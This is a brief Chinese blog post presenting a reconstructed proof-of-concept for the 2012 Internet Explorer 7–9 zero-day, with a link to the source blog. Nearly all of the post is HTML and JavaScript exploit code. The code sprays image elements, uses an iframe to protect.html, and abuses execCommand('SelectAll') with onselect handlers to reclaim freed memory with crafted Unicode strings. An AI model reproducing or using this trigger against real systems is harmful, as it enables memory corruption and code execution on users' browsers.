IE7-8-9 的 0day

从几个公开的blog里还原到的

http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/

<script>
var times=0;
var jifud =new Array();
while(times <100){
jifud[times] = window.document.createElement("img");
jifud[times]["src"]="a";
times++;
}
</script>
<iframe src='protect.html'></iframe>

<script>
function SubtleArr(){
document.execCommand('SelectAll');
}

function TestArray(){
f=1;
if(f==1)
{
document.write("L");
}

var L=0;
while(L<99){
parent.jifud[L].src= "YMjf\u0c08\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; ++L;
 }
}
</script>

<body onload='SubtleArr();'onselect='TestArray()'>
<div contenteditable='true'>
      a
</div>
<body>

文章目录